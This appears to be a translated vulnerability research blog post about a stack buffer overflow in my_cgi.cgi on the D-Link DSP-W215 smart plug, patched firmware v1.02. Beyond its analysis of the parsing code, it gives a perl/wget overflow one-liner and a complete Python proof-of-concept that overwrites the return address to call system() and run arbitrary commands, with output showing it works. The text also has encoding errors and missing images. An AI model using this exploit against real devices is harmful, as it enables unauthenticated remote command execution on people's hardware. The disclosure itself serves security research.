
Recently, D-Link has released
firmware v1.02 for DSP-W215, which fixed the
HNAP bug with buffer overflow in my_cgi.cgi. Although they quickly removed the firmware from the site: “You can update the firmware via a mobile application,” I managed to download it before my flight to Munich, and the 8-hour flight gave me enough time to qualitatively analyze the new firmware version.
Unfortunately, the bug with HNAP was not the only problem with this device. The lighttpd configuration file shows us that my_cgi.cgi is used to process some pages, not just HNAP requests:
alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi", "/HNAP1" => "/www/my_cgi.cgi", "/router_info.xml" => "/www/my_cgi.cgi", "/post_login.xml" => "/www/my_cgi.cgi", "/get_shareport_info" => "/www/my_cgi.cgi", "/secmark1524.cgi" => "/www/my_cgi.cgi", "/common/info.cgi" => "/www/my_cgi.cgi" )
The main function in my_cgi.cgi has two code branches: one for handling HNAP requests, and the other for everything else:

')
If the HTTP request was not a HNAP (for example, /common/info.cgi) and if it was a POST request, then in this case, my_cgi.cgi receives some HTTP headers, including the Content-Length:

If the Content-Length is greater than zero, the get_input_entries function is called, which is responsible for reading and parsing the POST parameters:

The get_input_entries function takes two arguments: a pointer to the "entries" structure and the size of the POST data (i.e. Content-Length):
struct entries { char name[36]; // POST paramter name char value[1025]; // POST parameter value }; // Returns the number of POST parameters that were processed int get_input_entries(struct *entries post_entries, int content_length);
This is somewhat suspicious, because the parameter is passed to get_input_entries directly from the Content-Length header that was specified in the HTTP request, and the structure pointer points to a local variable on the stack in the main function:
int content_length, num_entries; struct entries my_entries[450];
Of course, get_input_entries contains a loop with
fgetc (almost the same one that caused the HNAP vulnerability), which parses the POST request (names and values) and stores them in the "entries" structure:
Fgetc loop
fgetc (stdin) inside a for loop
The value read by fgetc is stored in name / value in the "entries" structure.Since the “entries” structure, in our case, is a stack variable in main; an excessively long POST value will cause a stack overflow in get_input_entries, and, accordingly, in main.
In order to avoid a crash before returning to main (more on this in the next post), we need to exit the get_input_entries function as soon as possible. The easiest way to do this is by passing the only POST parameter “storage_path”, since code in get_input_entries is skipped if this parameter is encountered:

If we look at the main stack, we see that the beginning of the “entries” structure is 0 × 74944 bytes further from the return address in the stack:

Due to the fact that the names from the POST request are allocated 36 bytes in the structure, the POST value of 477472 (0 Ă— 74944-36) bytes overflows on the stack to the saved return address:
# Overwrite the saved return address with 0x41414141 perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt wget --post-file=overflow.txt http:
$ ra is overwritten with the value 0 Ă— 41414141Now we control $ ra, which means we can return to the same system () call that we used in the HNAP overflow in order to execute arbitrary commands:
call system () at 0x00405CECHere is your PoC:
#!/usr/bin/env python import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "storage_path=" # POST parameter name buf += "D" * (0x74944-36) # Stack filler buf += "\x00\x40\x5C\xEC" # Overwrite $ra buf += "E" * 0x28 # Command to execute must be at $sp+0x28 buf += command # Command to execute buf += "\x00" # NULL terminate the command req = urllib2.Request(url, buf) print urllib2.urlopen(req).read()
Which works great with the latest firmware version:
./exploit.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 17 15:42 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxr-x 3 1000 1000 4096 May 20 17:10 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r